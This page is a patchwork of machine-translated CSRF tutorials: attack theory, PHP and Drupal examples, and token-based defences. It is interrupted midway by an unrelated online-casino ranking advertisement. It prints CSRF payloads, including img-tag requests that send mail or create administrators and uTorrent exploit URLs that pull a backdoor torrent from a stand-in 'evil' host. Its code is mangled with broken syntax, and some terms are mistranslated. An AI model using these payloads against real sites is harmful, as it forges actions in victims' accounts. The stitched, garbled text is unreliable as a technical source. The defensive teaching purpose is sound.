Suspected cross site request forgery attack. CSRF vulnerability. Introduction. Double Send Cookie

From the author: the reason for recording this lesson was a question on our forum that sounded in the following way- how to protect a site from CSRF attacks? Of course, we immediately answered this topic and gave a small algorithm for implementing the protection mechanism. But since, most likely, the forum is read, not all of our readers, I decided to write a separate lesson on the above issue.

Immediately I would like to note that the current video will not contain a full ready-made solution that can be embedded on the required site. Because each of you has or will have a website with a unique logical structure, that is, completely different from others, which means it is impossible to create a ready-made protection script, observing absolutely everything possible options implementation.

And this is not necessary, since the essence of the protection mechanism is quite simple, and therefore in the current video, using the example of a test site, you will see how you can protect yourself from the above type of attack, and then, based on the knowledge gained, you will take similar steps on your own project. So let's get started.

CSRF is an acronym for Cross-Site Request Forgery, which stands for Cross-Site Request Forgery. This term was introduced quite a long time ago in 2001 by Peter Watkins, but they started talking about possible attacks of this kind back in 1988. At the same time, note that a sufficient amount of time has passed, but nevertheless, most of the Internet websites are exposed to this attack. The question immediately arises - why is this? And the answer is quite simple and is that the vulnerability to CSRF attacks is not a bug in the application code, but a consequence of the quite normal operation of the browser and web server.

The essence of the attack lies in the fact that an attacker can perform on an unprotected site various actions on behalf of another registered (authorized) user. In other words given type an attack involves a user visiting the attacker's website, which in turn leads to the fact that some predefined actions are performed unnoticed for him on another website or service on which this user is currently authorized.

In this case, as a rule, the targets of CSRF attacks are various interactive Web applications that perform specific actions, for example, services for sending Email, various forums, payment systems, etc. That is, a hacker can perform some actions on behalf of other users - send messages, add new accounts, carry out financial transactions, etc.

Now let's take a look at the action of this attack using the example of a test site.

Suppose you have a website whose task is to send an email message to a specified address on behalf of an authorized user. That is, on home page we see a form to send a message. Moreover, there is also a mechanism for sending messages when passing certain parameters via a GET request (just for an example). In this case, the authorization page looks like this.

This page quite common, but the “Member” checkbox is striking, which is used to save this authorization in browser cookies. Actually, this mechanism is very convenient for users, since it simplifies repeated access to the page, but it is highly undesirable from a security point of view. But still, for the sake of visitors, you often have to make certain concessions.

The code for sending messages with two methods (GET and POST) looks like this:

// Send a message if ($ this-> isGet () &&! Empty ($ _ GET ["email"])) ($ body = "Hello this is message form -". $ This-> user ["name"]; $ body. = "Content - from GET -". $ _ GET ["content"]. "From -". $ _ GET ["email"]; mail (" [email protected]"," New message ", $ body);) if ($ this-> isPost ()) ($ body =" Hello this is message form - ". $ This-> user [" name "]; $ body. = "Content - FROM POST -". $ _ POST ["content"]. "From -". $ _ POST ["email"]; mail (" [email protected]"," New message ", $ body);)

// Send message

if ($ this -> isGet () &&! empty ($ _GET ["email"])) (

$ body =. $ this -> user ["name"];

$ body. = "Content - from GET -". $ _GET ["content"]. "From -". $ _GET ["email"];

if ($ this -> isPost ()) (

$ body = "Hello this is message form -"... $ this -> user ["name"];

$ body. = "Content - FROM POST -". $ _POST ["content"]. "From -". $ _POST ["email"];

mail (" [email protected]"," New message ", $ body);

Now, consider another site - a hacker site.

On which he can place, quite simple, but very effective code if it is necessary to carry out an attack on a request like GET:

< img src = "http: // localhost / csrf / [email protected]& content = Hello world ">

That is, in fact, we see the img tag, the src attribute of which contains the path to the site intended for the attack, with a set of necessary parameters to perform a specific action. In our case, this is sending a message, which means that now it is enough for the attacker to lure the user to the current site and unnoticed by him, a request will be made to the site of interest, since the browser will try to download the image, the path to which is specified in the src attribute. At the same time, we remember that the browser cookies store data for authorization and, of course, the application immediately uses them and, accordingly, the above request will be successfully processed by the server. This means that a message will be sent on behalf of the user.

If we look at the set of headers that are sent along with the request, then indeed, we will be able to see cookies with account login information, which by itself means - as mentioned above, that the request will be perceived as coming from an authenticated user.

The situation is exactly the same with sending a request using the POST method, only in this case the attacker will create a form on his site that will be automatically sent using JavaScript as soon as a visitor enters the site.

Thus, it is imperative to defend against attacks of this kind, and the only effective method protection is the use of special tokens.

A security token is a string that is randomly generated for a specific user and transmitted in every request that involves changing data. In addition to this, the token is also stored in the session. Thus, the essence of protection comes down to a simple check of the compliance of the token that is transmitted in the request and the token that is stored in the session. If both tokens are identical, then the request was sent by an authorized user. If the tokens do not match, or if the request does not contain it at all, it can be judged with great certainty that an attack is being carried out, which means that no actions can be performed.

Note that absolutely all requests that are aimed at changing or performing certain actions must be protected.

Actually, at this stage, the text part of the lesson is completed and we will continue to talk about the submitted topic, we are already in the video version. At the same time, we will consider ways to generate tokens and practically implement the protection operation algorithm, which is described above. Now let's say goodbye. Happy coding !!!

Yes, I remember that I promised in the previous message to write about captchas, but, to be honest, I already have no strength to write about these captchas. Yes, and I'm tired of the fact that, as an information security analyst, only suggestions for hacking captchas come to my PM, and no other normal work.

In general, I will rise in the eyes of the public, I will start writing articles on security. My profile is mainly the security of web applications, so I will write about the security of web applications, including the vulnerabilities of these applications.

This series of articles will focus on CSRF vulnerabilities... Haven't you heard such a term? So this cycle is for you;)

Introduction

Of course, nowadays every more or less experienced developer has heard a lot about such classic vulnerabilities as:

  • SQL injection
  • PHP include

Earlier, at the dawn of the Internet, almost every application contained a bunch of such vulnerabilities. But every day it became more and more difficult to meet this type of vulnerability. And crackers became more and more sophisticated, which led to the development of new types and vectors of attack - one of these types of attack was separated into a separate class and was called CSRF.

What is CSRF. Theory

Let's go to Wikipedia:

CSRF (Cross Site Request Forgery, also known as XSRF) is a type of attack on website visitors that exploits the flaws in the HTTP protocol. If a victim visits a site created by an attacker, a request is secretly sent on her behalf to another server (for example, to a server payment system), performing some kind of malicious operation (for example, transferring money to the attacker's account). To carry out this attack, the victim must be authorized on the server to which the request is sent, and this request should not require any confirmation from the user, which cannot be ignored or tampered with by the attacking script.

In more understandable language, this is an attack in which the attacker tries to force the victim's browser to create a request to the target server, without the victim's knowledge. Schematically it will look like this:

This attack is somewhat similar to classic XSS, in which the attacker had to force the victim to follow some link to a vulnerable page. Here it is necessary to force the user to go to a page specially prepared by the attacker, to which some code has been added. When this code is executed, the victim's browser makes a request to another server (for example, under the guise of downloading an image), and thereby performs certain actions that the attacker needs.

The danger of CSRF is that this behavior of browsers and the entire HTTP protocol is normal. For example, it is normal for a site to contain pictures from another site on its pages. And the browser does not know in advance what exactly they are trying to force it to download, really a picture, or under the guise of this download some action will be performed on the target site.

A little practice

Let's take, for example, a target spherical site in a vacuum, which has a completely standard admin panel with the function of adding a new administrator:

The developer of this form did not know anything about the CSRF vulnerability, and, naturally, he did not protect against it. Well, plus to everything (to make the example easier), he transmitted data using the GET method... By clicking the "create" button, the browser will generate a request for the following page:
http: // site / admin /? do = [email protected] Mail.Com
And after the request is completed, a new administrator will appear on this site. It would seem that from that - this is quite a common functionality on many sites. But this is where the main mistake lies. The victim can be forced to execute given request when entering a completely different site. Create the next page at http: //evil/page.html


Regular page


With plain text. But with unusual content



And now if the victim comes to http: //evil/page.html, then the browser will try to load the picture, but instead will make a request to the admin panel, thereby creating a new administrator. The only prerequisite for the successful exploitation of this vulnerability is the need for the victim to be authorized on the vulnerable server at the time of the attack.

Conclusion

We figured out what CSRF is. Let's try to highlight the basic requirements for a successful attack:

  • The ability to force the victim to go to the page with the additional code. Or the possibility of modification by the attacker of the pages frequently visited by the victim (as they say, if the mountain does not go to Mohammed, then ...).
  • Lack of protection against CSRF on the target site (about it in).
  • The user at the time of the attack must be authorized for the action that we want to perform on his behalf.

And based on these requirements, we will try to build protection in the next article ...

Cross-Site Forgery Request also known as one click attack or driving session and abbreviated CSRF(sometimes pronounced tidal bore) or XSRF, is a type of malware exploited from a website where unauthorized commands are sent from the user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially crafted image tags, hidden forms and JavaScript XMLHttpRequests, for example, can all work without user interaction or even knowledge. Unlike cross-site scripting (XSS), which uses the trust a user has for a particular site, CSRF exploits the trust that a site has in the user's browser.

story

CSRF vulnerabilities are known and have been exploited in some cases since 2001.Because it is carried from the user's IP address, some website logs may not have CSRF proof. Exploits are underreported, at least publicly, and as of 2007 there were several well-documented examples:

  • Netflix website in 2006 had numerous CSRF vulnerabilities that could allow an attacker to perform actions such as adding a DVD to the victim's rental queue, changing the delivery address on an account, or changing the victim's login credentials to completely compromise the account.
  • The online banking web application ING Direct was vulnerable to CSRF attacks, which allowed illegal money transfers.
  • The popular video website YouTube was also vulnerable to CSRF in 2008, allowing any attacker to perform virtually every user activity.
  • McAfee is also vulnerable to CSRF, allowing attackers to alter their company system.

New attacks on web devices were carried out in 2018, including attempts to change DNS settings routers. Several router manufacturers hastily released a firmware update to improve security, and advised the user to change the router settings to reduce the risk. Details have not been released, citing "obvious security reasons."

Example and characteristics

Attackers who can find a reproducible link that performs a specific action on the landing page while the victim registers in can embed such a link on the page they control and trick the victim into opening it. The attack carrier's link can be posted in a location that the victim is most likely to visit by entering the target site (such as a forum discussion), or sent in an HTML email body or attachment. The real CSRF vulnerability in Utorrent (CVE-2008-6586) exploited the fact that its web console is available on the local host: 8080 allowed critical actions to be performed with a simple GET request:

Force .torrent file download http: // local: 8080 / GUI / action = add url & s = http: //evil.example.com/backdoor.torrent Change Utorrent admin password HTTP: // local: 8080 / gui / action = setsetting & s = webui.password & v = eviladmin

The attacks were launched by posting malicious, automatic HTML image elements on forums and spamming emails so that browsers visiting those pages would open them automatically without much user action. People running the vulnerable version of Utorrent at the same time opening these pages have been vulnerable to the attack.

CSRF attacks using image tags are often done from online forums where users can post images but not JavaScript, for example using BBCode:

Http: // localhost: 8080 / gui /? Action = add-url & s = http: //evil.example.com/backdoor.torrent

When accessing an attack link on local Utorrent application on localhost: 8080, the browser will also always automatically send any existing cookies for that domain. This common property of web browsers allows CSRF attacks to exploit their targeted vulnerabilities and perform hostile actions as long as the user is logged into the target website (in this example local web interface Utorrent) at the time of the attack.

Cross-site forgery request is a confused proxy attack against a web browser.

CSRF generally has the following characteristics:

  • It includes sites that rely on the user's identity.
  • It uses the site's trust in this identity.
  • It tricks the user's browser into sending HTTP requests to the target site.
  • It includes HTTP requests that have side effects.

HTTP verbs and CSRF

  • In HTTP GET, CSRF exploitation is trivial using the techniques described above, such as a simple hyperlink containing manipulated parameters and automatically loaded using the IMG tag. By HTTP specifications however, GET should be used as a safe method, that is, without significantly changing user state in the application. Applications that use GET for such operations should switch to HTTP POST or use CSRF protection.
  • HTTP POST has different vulnerabilities to CSRF, depending on the detailed usage scenarios:
    • In its simplest form, POST with data encoded as a query string (field1 = value1 & field2 = value2) CSRF attacks are easily implemented using a simple HTML form and anti-CSRF measures must be applied.
    • If the data is transferred in any other format (JSON, XML) standard method issue a POST request using XMLHttpRequest with CSRF attacks prevented by SOP and; there is a method for submitting arbitrary content from a simple HTML form using the ENCTYPE attribute; such a fake request can be distinguished from legitimate ones by the text / plain content type, but if it is not executed on the server, CSRF can be performed
  • other HTTP methods (PUT, DELETE, etc.) can only be issued using XMLHttpRequest with SOP and CSRF prevention; However, these measures will not be active on websites that explicitly disable them using the Access-Control-Allow-Origin: * header

Other approaches to CSRF

In addition, while typically described as a static type of attack, CSRF can also be dynamically built as part of the payload for cross-site attack scenarios, as shown by the Samy worm, or built on the fly from session information leaked through off-site content. and sent to the target as a malicious URL. CSRF tokens can also be sent by an attacker client due to session fixation or other vulnerabilities, or guessed using a brute force attack translated into malicious page which generates thousands of failed requests. The "Dynamic CSRF" attack class, or using the payload of each client for a specific session forgery, was described in 2009 by Nathan Hamiel and Sean Moyer at BlackHat briefings, although the taxonomy is still to be applied more widely.

A new vector for drafting dynamic CSRF attacks was presented by Oren Ofer at the local meeting of the OWASP Chapter January 2012 - "AJAX Hammer - Dynamic CSRF".

Consequences

Severity metrics have been released on CSRF vulnerabilities that lead to remote code execution with superuser privileges, as well as a vulnerability that could compromise a root certificate that would completely undermine the public key infrastructure.

Restrictions

Several things must happen for a cross-site spoofing request to be successful:

  1. The attacker must target either a site that does not validate the referrer header or a victim using a browser, or a plugin that allows Referer spoofing.
  2. The attacker must find a submission form on the target site, or a URL that has side effects, doing something (for example, transferring money, or changing the victim's email address or password).
  3. The attacker must determine the correct values ​​for all forms or URL inputs; if any of these are supposed to be secret authentication values ​​or identifiers that the attacker will not be able to guess, the attack is most likely not able to (unless the attacker is very lucky in guessing them).
  4. The attacker must lure the victim into a web page with malicious code while the victim registers with the target site.

Attack is blind: The attacker cannot see what the target site is sending back to the victim in response to forged requests, unless they are exploiting Cross-Site Scripting or other error on the target site. In addition, an attacker can only target any link or submit any forms that come after the initial forged request, if those subsequent links or forms are similarly predictable. (Multiple targets can be modeled by including multiple images on a page, or using JavaScript to introduce a delay between clicks.)

Given these limitations, an attacker could have difficulty finding the victim's anonymous or vulnerable submission. On the other hand, attack attempts are easily assembled and invisible to victims, and application developers are less familiar and prepared for CS attacks than they are, say, for cracking dictionary attacks passwords.

prevention

Most CSRF prevention techniques work by injecting additional authentication data into requests, allowing the web application to detect requests from unauthorized locations.

Synchronizer marker model

  • Upon login, the web application sets a cookie containing a random token that remains unchanged throughout the user's session
Set-Cookie: Csrf-token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires = Thu, 23-Jul-2015 10:25:33 GMT; Max-Age = 31449600; Path = /
  • JavaScript runs on the client side, reads the value and copies it into the custom HTTP header sent with each transactional request
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • The server checks the presence and integrity of tokens

The safety of this method is based on the assumption that only JavaScript running within the same origin will be able to read the cookie's meaning. JavaScript works with a rogue file or email will not be able to read and copy into a custom header. Even though the CSRF token cookies will be automatically sent from the rogue request, the server will still expects a valid X-CSRF token heading .

The CSRF token itself must be unique and unpredictable. It can be generated randomly, or it can be derived from session tokens using HMAC:

Csrf_token = HMAC (session_token, application_secret)

The CS cookie marker should not have the HTTPOnly flag, as it is meant to be read using JavaScript design.

This technique is implemented by many modern frameworks like Django and AngularJS. Because the token remains constant throughout the user's session, it works well with AJAX applications, but does not provide a sequence of events in web applications.

The protection provided by this method can be compromised if the target website disconnects their policy of the same origin using one of the following methods:

  • Permissive Access-Control-Allow-Origin header (with argument asterisk)
  • clientaccesspolicy.xml file granting unintended access to the Silverlight control
  • crossdomain.xml file providing inadvertent access to flash movies

Double Send Cookie

Similar to the cookie-to-header approach, but without JavaScript involved, a site can set the CSRF token as a cookie, and also insert it into a hidden field in every HTML form sent by the client. When the form is submitted, the site can verify that the cookie marker matches the shape of the markers. The generic origin policy prevents an attacker from reading or setting cookies on the target domain, so they cannot supply the correct token in their generated form.

The advantage of this method over the sync pattern is that the token does not need to be stored on the server.

Customer guarantees

Browser extensions such as RequestPolicy (for Mozilla Firefox) or Umatrix (for Firefox and Google Chrome / Chromium) can prevent CSRF by providing a default deny policy for cross-site requests. However, this can significantly interfere with normal work many sites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing by removing authentication information from cross-site requests.

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Our ranking of the best casinos

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In addition to a superficial analysis of gambling platforms, information about establishments on the Internet is checked. Online reputation, reviews of current and former players, the presence of conflict situations, scandals with casinos and ways of solving problems from the creators are taken into account in the analysis. Particular attention is paid to young clubs with work experience of up to 1-2 years.

How is the casino rating compiled and who gets there?

For creating rating of licensed casinoswe attract experienced gamblers and analysts with over 10 years of industry experience. Thanks to their knowledge, they can easily weed out fraudulent clubs, and then conduct a thorough analysis of the remaining establishments. The result is a small list of reliable casinos where you can safely play without fear for the honesty of the results and payouts.

  • the presence of a license from the gambling regulator and the chosen jurisdiction for registration;
  • platform security, which guarantees the confidentiality of data and payment information;
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This is just a small list of actual requirements that are evaluated by experts. Each criterion receives its own coefficient of importance, which is taken into account when summing up the final result.

What is a licensed casino?

Casino rating , testifying to the honesty and transparency of the work of gambling platforms, may consist exclusively of establishments with valid licenses for activities. Legal clubs are required to pass regulatory audits and comply with all regulations in order to obtain approval.

The mere mention of the presence of a license on the site is not enough. Experts understand that scammers can use logos to deceive naive users, so they independently analyze the information. To do this, go to the official website of the regulator and use the document number or name legal entity confirm the information. If there is no license information, then it is a fake.

Analysts also use technical analysis to check licensed software. Using developer tools, they gain access to information about the data transfer server. If the casino uses the official portal of the software provider, then the software is fair and legal. This means that you cannot interfere with his work and tweak the final results.

How is casino fairness determined?

It is quite difficult to independently assess the honesty of a gaming club, which is associated with the amount of available resources and knowledge. Before the inclusion of establishments inrating of fair casinos, analysts conduct a thorough check of many factors:

  • the regions where the players are taken from, since forbidden jurisdictions speak volumes;
  • withdrawal limits, limiting one-time transactions, as well as the daily, weekly and monthly amount of transactions;
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License and regulator are quite important criteria, but this does not provide a 100% guarantee of honesty. Only clubs that allowed players to get big wins and jackpots, gave gifts for lotteries and tournaments, can count on such a title.

Varieties of slot machines

The number of slots, machines and other types of gambling entertainment says a lot about the institution. Some clubs cooperate with only a few software providers, but they receive popular and new offers of games from them, while others are expanding their network of partnership agreements and inviting a huge number of brands to cooperate. The more machines are presented on the gaming platform, the easier it is for the client to choose the slot he likes.

But rating of licensed casinostakes into account not only the variety of games, but also their quality. Reliable gambling establishments use exclusively licensed software that has been tested for honesty and safety. Such machines allow you to count on a return of up to 98%, and you cannot interfere with their work and tweak the algorithm for generating results.

To be honest, all sites are aimed at making a profit. Even if one of the players wins the jackpot, in the long term, the institution remains in the black. But only honest clubs allow users to get a big jackpot and withdraw it to a real account. This is what distinguishes licensed online casinos from fraudulent projects.

Bonus policy

Create a casino rating it is impossible without taking into account the bonus policy. All gambling clubs use promotions and gifts to attract new and retain existing customers. But some of the establishments act quite cunningly, creating hidden conditions for wagering or accruals, setting unrealistic conditions for wagering in the range from x60-100, which are almost impossible to fulfill.

The standard set of incentives consists of the following categories:

  1. No deposit bonus for greeting new customers - credited for confirming email address and phone number. As a reward, use free money or free spins on machines with a mandatory wagering requirement.
  2. Registration gift - free spins or multipliers of the amount of replenishment of the account for 1-5 deposits from the moment of creating a personal profile. Exact size bonuses and maximum limits are set individually by each club.
  3. Loyalty program - various systems user statuses that affect the size of the weekly cashback, the availability of personal terms of service, individual gifts, a favorable exchange rate of local currency for money, and much more.
  4. Promo codes - periodic promotions from gaming clubs that give out Gift certificates for free spins, no deposit or account multipliers for everyone.

Russian-speaking casinos

Making up rating of the best casinos in 2020, the presence of the Russian language on the platform is taken into account. The Russian-language interface allows users from Russia, Belarus, Ukraine and the CIS countries to deal with registration, login, account replenishment and other features of the platform without any problems. It also confirms that the institution is focused on Russian-speaking users, offering them unique bonuses and support.

The work of the support service is taken into account. Most gambling clubs provide assistance to clients exclusively on English language, which complicates the communication process. You need to use a translator or contact knowledgeable people to compose a request and understand the support response. Therefore, the rating includes only those online clubs that advise customers in support chats and by phone in Russian.

The Russian-language interface in the casino will allow you to easily understand the platform's user rules, study bonus offers and the features of their accruals, wagering, take part in tournaments and lotteries without any doubts about the correctness of actions.

Fast cash out casinos

Particular attention is paid to the speed of payments in online casinos. Some clubs offer withdrawal of funds to bank cards and e-wallets within a few hours, and for VIP clients, requests are processed instantly. Others use manual processing of applications on business days according to a special schedule, so payments can be delayed up to 1-3 business days from the date of application. To save users from long waiting times, createdcasino rating with fast withdrawal.

It consists exclusively of those institutions that promptly consider all applications and do not create obstacles to receiving money. Not only the speed of transfers is taken into account, but also the absence of problems when requesting large payments or money transfers after winning a jackpot, a big jackpot. Only honest establishments can guarantee fair payments and no problems with payments.

It also analyzes the available payment systems for deposits and requesting money. Standard sites support a minimal number of ways, but progressive clubs constantly analyze trends in order to integrate new technical solutions.

The main payment systems in online casinos:

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  • electronic wallets QIWI, Yandex, Webmoney, Neteller, Skrill and others;
  • mobile payments Beeline, MegaFon, MTS, TELE2;
  • Russian Internet banking;
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Customer support service

An important factor that was taken into account in order to createrating of fair casinos- availability of customer support and the quality of its work. Reliable establishments take care of their own client base, therefore they organize special telephone lines, as well as online chats to promptly answer users' questions and solve their problems.

Analysts used phone lines, live chats, and email contacts to analyze support. V different time 24 hours a day, the site staff received various questions or requests to deal with technical problems. After that, the quality of their work was assessed, which included the following factors:

  • the speed of providing responses;
  • whether the consultant is solving the problem and how long it took;
  • literacy of answers and the availability of Russian-speaking employees in support.

If the casino does not have Russian-speaking operators, we recommend using an online translator from Google to translate questions and answers from consultants.

conclusions

Before registering in an online club, you need to analyze the reliability, transparency of its work, as well as check the reputation and reviews on the network. Instead, we suggest usingrating of fair casinoscompiled by experienced gamblers. Through their own experience, they rejected dozens of suspicious gambling clubs, leaving the best establishments of 2020 on the list.

Article evacuated from DrupalDance.com

The reason for writing this article was the finding by me of a vulnerability in one fairly well-known module. Since, according to the rules for detecting vulnerabilities, I am not yet entitled to dwell on the details, I will tell you about the vulnerability in general outline, as well as methods of dealing with it.

So, cross-site request forgery(Eng. Cross Site Request Forgery, or, in abbreviated form, CSRF): what it is and what it is eaten with.

CSRF is a type of attack on website visitors that exploits the flaws in the HTTP protocol. If a victim visits a site created by an attacker, a request is secretly sent on her behalf to another server (for example, a payment system server) that performs some malicious operation (for example, transferring money to the attacker's account). To carry out this attack, the victim must be authorized on the server to which the request is sent, and this request should not require any confirmation from the user.

This type of attack, contrary to the common misconception, appeared a long time ago: the first theoretical reasoning appeared in 1988, and the first vulnerabilities were discovered in 2000.

One use of CSRF is to exploit passive XSS found on another server. It is also possible to send spam on behalf of the victim and change any settings accounts on other sites (for example, security question for password recovery).

Live example

For example, we need to make a small module that should delete nodes with ajax. This can be implemented with a node's service link, when clicked, an ajax request for the Drupal path is sent. A handler is attached to this path, which removes the node. Everything is done with this module:

node_destroy.module

/ ** * Implementation of hook_menu (). Registers our callback in the menu system. * / function node_destroy_menu () ($ menu ["node /% node / destroy"] = array ("page_callback" => "node_destroy", "page_arguments" => array (1), "access_arguments" => array ("administer nodes ")," type "=> MENU_CALLBACK,); return $ menu;) / ** * Callback implementation. * / function node_destroy ($ node) (if ($ node-> nid) (node_delete ($ node-> nid); print ("SUCCESS");) // in callbacks for ajax it is almost always necessary to forcibly terminate the script, // so as not to display the site design along with your data exit ();) / ** * Implementation of hook_link (). Add our link to the service links of the node. * / function node_destroy_link ($ type, $ node = NULL, $ teaser = FALSE) (switch ($ type) (case "node": // if this function is called, then we display the node links, // which means that we also need the scripts $ path = drupal_get_path ("module", "node_destroy"); drupal_add_js ($ path. "/ node_destroy.js"); // actually, adding the link $ links ["node_destroy"] = array ("title" => t ("Destroy node"), "href" => "node / $ node-> nid / destroy", "attributes" => array ("class" => "node_destroy_link"),); break;) return $ links;)

node_destroy.js

// In such a simple way, to correctly initialize some actions // instead of the usual $ (document) .ready (function () (...)) Drupal.behaviors.node_destroy = function (context) (// We iterate over all our links and hang on them are ajax requests. // Notice the fancy selector. It will prevent double hooking of handlers. $ (". node_destroy_link: not (.processed)", context) .addClass ("processed"). click (function () (href = $ (this ) .attr ("href"); $ .ajax ((type: "GET", url: href, success: function (result) (// SUCCESS returns us our menu callback, if everything is great if (result! = "SUCCESS ") (alert (" Error ");))));));)

And everything would be fine, but one sunny day, an evil troll comes to the site ... Or a more vital situation - an angry former employee comes to the site and tries to break it. Remembering the old experience, he tries to go to the address http://site.ru/node/123/destroy, but gets a turn from the gate, since he no longer has the right to delete materials.

And then, in a burst of destructive creativity, he creates a node with the following content:

What happens at this moment? Naturally, no picture will be loaded, but the troll's browser will fulfill request for this path with the same result.

Resigned to failure, the troll leaves the site. A day later, the site administrator notices this garbage node, enters it and deletes it. And when he returned to the list of materials, he did not find nodes with ID 123 in it. The attack was successful. Curtain.

For those who did not understand, when the administrator entered the node, his browser also crashed at the picture link. But here there were already enough access rights, and the node was successfully deleted, and the admin did not even notice anything.

How to avoid CSRF vulnerabilities?

The answer is to use unique links for data change actions. How is this possible? Drupal uses the link tokenization method. This means that a unique parameter is added to the link of the active action, which is checked when the action itself is performed. In Drupal, you can generate such a parameter using the drupal_get_token () function. Check -drupal_valid_token (). The token is generated based on the supplied value, user session, and private key site, which practically negates the likelihood of the pest generating the correct token.

Let's make changes to our module. Let's start by setting the correct link:

Function node_destroy_link ($ type, $ node = NULL, $ teaser = FALSE) (switch ($ type) (case "node": $ path = drupal_get_path ("module", "node_destroy"); drupal_add_js ($ path. "/ Node_destroy .js "); $ links [" node_destroy "] = array (" title "=> t (" Destroy node ")," href "=>" node / $ node-> nid / destroy "," attributes "=> array ("class" => "node_destroy_link"), // query - these are all GET parameters, ie everything in the link is after the question mark // we add the parameter token "query" => "token =". drupal_get_token ("node_destroy_". $ node-> nid)); break;) return $ links;)

As you remember, we send an Ajax request to the address that is hardcoded into the link, so in the callback we just have to check $ _GET in the standard way.

Function node_destroy ($ node) (if ($ node-> nid && isset ($ _ GET ["token"]) && drupal_valid_token ($ _ GET ["token"], "node_destroy_". $ Node-> nid)) (node_delete ( $ node-> nid); print ("SUCCESS");) exit ();)